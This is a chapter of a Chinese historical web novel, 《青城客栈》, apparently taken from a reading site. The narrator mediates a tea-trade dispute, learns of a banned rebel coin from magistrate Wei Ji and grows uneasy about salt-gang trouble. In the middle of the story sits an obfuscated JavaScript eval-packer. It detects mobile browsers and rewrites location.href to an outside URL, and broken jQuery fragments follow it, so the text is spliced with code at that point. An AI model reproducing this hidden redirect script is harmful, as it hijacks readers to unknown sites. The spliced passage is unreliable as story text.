47. 活阎王(一)

作品:《青城客栈

    我上前细问争执缘由,原是折算方法有差,偏偏两边都是犟种,为了几斤散茶的差额,硬是闹到拔刀相向的地步。我也不多言,只让他们把货一分为二,各按其法,折算后再加拢便是。双方得了台阶,各退半步,总算了结此事。


    马湖人走后,韦济又与杨主事说起良马支移事宜,倔老头耐着性子听完,颇不客气地告知,茶马司上官早已发了行文,身在其位,必当恪尽职守,不劳地方长官再来说道。


    郭成旁观他俩,小声与我道:“韦知州这是怎么了?大老远跑来碰‘杨马卢’这个钉子。”


    “杨马卢?”我有些奇怪,“杨主事不是叫杨波吗?‘马卢’是他的号,还是字?”


    郭成“扑哧”一声,笑得突兀,引来杨主事侧目。他慌忙由秤台跃下,又急着向我招手。我心道一声“莫名其妙”,避开韦济探究的目光,亦跟着跳了下去。


    “搞什么鬼?”我埋怨道。


    “你竟不知道,”郭成勉力憋住笑道,“‘杨马卢’是茶马司那群坑货给老杨起的诨名。”


    诨名?我默念一遍,不禁哑然失笑:“你别说,确有共通之处。”


    我与郭成又闲聊几句,韦济走下秤台,打量我俩道:“郭巡检,何事如此开怀?”


    郭成笑声爽朗,指了指我道:“韦知州,还是让青娘子同你说吧。明天过节,下官边务未了,先行告辞!”言罢,朝我和韦济拱手,领着人马收市巡边去了。


    时近日暮,天边晚霞似火,山野轻风流岚。


    我和韦济各自牵着马,慢慢踏上归途。


    韦济低叹一声,似在自嘲:“青娘子和郭巡检可是觉得,韦某此行来榷场,实在是多此一举?”


    “并不是。”我轻笑,“适才我们在聊茶马司的人给杨主事取的绰号,虽然促狭了些,倒也不失贴切。”


    “噢?”韦济眼中闪过一丝好奇,含笑问道,“可否说来听听?”


    我用手背捂住嘴,闷声笑道:“‘杨马卢’。我原是不知,郭成咋一说起,我还以为‘马卢’是杨主事的字来着!”


    韦济强忍笑意,面上升起一抹红晕:“杨主事精通业务,只是性子有些执拗,与茶马司的同僚素来不睦。悦州边市重开,百废待举,我存了私心,向府官请求将他调来。”


    说到此处,话音里带了几分惆怅,“或许除了他自己,旁人都认为这样的安排再好不过。”


    “其实未必。”我止住笑道,“这半年来,我与杨主事打着交道,倒是觉得他对榷场的差事乐在其中。


    “韦大人不妨看看身边的人,到了杨主事这样的年岁,还能如他一般精神矍铄、干劲十足的,怕是没几个呢!大人可曾留意到,雨季过后,来南广榷茶的马湖人愈发多了。


    “这其中,固然有陆道比水道好走的缘故,但杨主事划等公道,手下差役也从不仗势欺人,这些才是各路夷商最为看重之处。”


    韦济停下脚步,朝我执手:“还有青娘子这样精通折算、善于调停的判官。韦济何其有幸,悦州榷场能有杨主事与青娘子二位能人坐镇。”


    我笑道:“韦大人不必客气。当真要谢我,替我向茶马司多讨些佣金便是。”


    韦济莞尔:“那是自然。”


    眼前的韦济温文有礼,我脑海中忽然闪过一桩令人费解之事,忍不住疑惑道:“今日在牛门峒,折比尔呷三番两次从中作梗。不知大人临行前,给他瞧了什么、又说了什么,他竟然一反常态,不再闹腾了?”


    韦济眨眨眼,从袖中取出一枚制钱,举到我面前:“认识这个么?”


    我瞥了他一眼,拿起制钱,对着夕照仔细端详。半新不旧的小平钱,钱背之上铸有四朵星纹,翻过面来,方孔周围赫然铸着“应运元宝”四个隶字。我心头剧震,猛地将铜钱攥紧,抬眼看向韦济,惊疑不定道:“这是——反王钱?!”


    韦济默默点头,朝我伸出一只手掌。


    我连忙将制钱抛还于他,略加思索道:“不对呀?我与折比尔呷打七星卦时,他用的每一枚铜钱,我都经过手。印象之中,有宋钱、有大理钱,似乎并未见着你手上这枚。”


    韦济眼底掠过一丝不易察觉的狡黠,轻声道:“没错。这枚钱是我带来的。”


    我皱眉道:“大蜀国亡了,钱也禁了。你随身藏着这玩意,就不怕惹祸上身吗?”


    韦济瞧着我,突然就笑了。


    我微微有些着恼:“大人笑什么?”


    韦济移开目光,回道:“青娘子方才说的话,和韦某对折比尔呷说的话,只字不差。”


    我松了口气,亦是笑了:“原来如此。”


    韦济又道:“前些日子,筠连查剿一处私销铜钱的窝点,追缴上来的赃物中,夹杂着这枚禁钱。


    “上回修桥,我与折比尔呷打过几次照面,知道此人极为好赌。恰逢槐序来州衙报案,我便将禁钱借出,随身携带,不料还真有些用处。”


    我想了想道:“虽说折比尔呷大字不识几个,但铜钱上的汉字,见多了,总该识得出来。这枚禁钱并非他所有,想必他也知道。”


    韦济将禁钱纳入袖底,缓缓道:“王、李两个反贼是茶贩出身,折比尔呷是山场之主。虽说持有禁钱是假,但他想避嫌的心思,却是真的。”


    行至燕子坪,一轮凸月已挂上东天。


    我看向韦济,问道:“明天中秋节,韦大人可打算给自己放个假?”


    韦济轻轻“嗯”了一声。


    我笑道:“这几日也是我们僚人的‘八月节’,四处热闹得紧。既然大人不必案牍劳形,不如在燕子坪歇下,我让槐序她们再带你去听歌打跳,如何?”


    韦济面色微红,朝我执手道:“多谢青娘子盛邀。只是韦某明日需赶赴泸州,无法在此久留。”


    我不禁替他感到惋惜:“嗳呀。刘大夫早就备好了‘重碧春’;柳先生特意做了糟鱼下酒,看来你是没这个口福了。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16401335|181191||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    韦济垂眸:“月初熊知府来信,邀我去清风观打醮拜月。我想正好藉此机会,与他当面聊一聊盐价上浮之事。”


    “清风观?”我惊诧道,“他竟邀你去道观过中秋节?”


    韦济颔首:“正是。”


    “嗬!”我悻悻出声,“这人没事吧?”


    “他——”韦济略顿一下,回道,“没事。伯通修道多年,惯是如此,越是热闹的日子,越好清静。”


    我竟有些好奇:这“活阎王”修的哪门子道?无情道吗?


    中秋过后,各地的散茶经八亭道大量入市,夷商与茶马司之间龃龉不断。受人之托,忠人之事,只因兼着悦州行市的判官,接连数日,我都泡在榷场与他们调停。


    客栈的人同样忙得不可开交,夕食也一天比一天凑和。


    这一日午后,西南风骤起,天边堆起重重积云,估莫晚间要落雨,夷贩和茶马司的秤头突然间生出默契,定等称重一气呵成,往常闹哄哄的兑换盐钞场面竟然消失了,马锅头们破天荒地排起队来。


    杨主事眉开眼笑地给各路夷商发放号牌;巡检司的弓兵也放下器械,帮忙垒起了茶垛。


    我闲靠一旁,只觉这一幕荒诞又美好。众人齐心,终于赶在太阳落山前收了市。我与杨主事、郭成又坐下嗑了会瓜子,喝了两遍茶,见天色渐暗,便告辞归家,一头扎进厨房,打算整几道硬菜,祭一祭亏空许久的五脏庙。


    角落里还剩小半筐菌子,是槐序和封峤前几日捡的,早已开了伞。我拿到前院,悉数倒给鸡吃,背上竹筐,准备进山去拾些新鲜的。


    林钟瞧见,唤住我道:“东家,我去吧。”


    我笑着摆摆手:“不用。上回在大青岩,我看到‘斗鸡公’来着。过去这么多天,我想该是长好了,趁着还没下雨,赶紧去捡些回来烧汤。”


    林钟伸手按住我背上的竹筐,顺势卸下,背到自己身上:“早间易溪过来的马队说,节前他们那的盐帮屯积不少补给,近日或是会闹些动静,让我们尽量少往东南面去。”


    大青岩恰是在东南方向,我忙拉住林钟:“那你也别去了。”


    “我没事。”


    “不行。”


    林钟拨开我的手腕,头也不回道:“我去西边。”


    我不禁有些赌气,冲着他的背影叫道:“快去快回!不许去大青岩,听见没?!”


    林钟并未回应,只是挥了挥手,身影很快消失在视线之外。


    我站在院中,抬头望着阴沉沉的天,风卷着落叶在脚边打着旋,不知为何,没来由地觉得——心底有块地方被压得透不过气来。我按了按额角,快步折回厨房,一眼瞅见灶台上的盐罐,莫名又是一阵心惊。


    我冲出厨房:“槐序、封峤!”


    他二人从马厩方向跑来,槐序掸着身上的草屑问道:“怎么了,干娘?我们在盖马草呢。”


    我急道:“最近莫要进山了,知道吗?”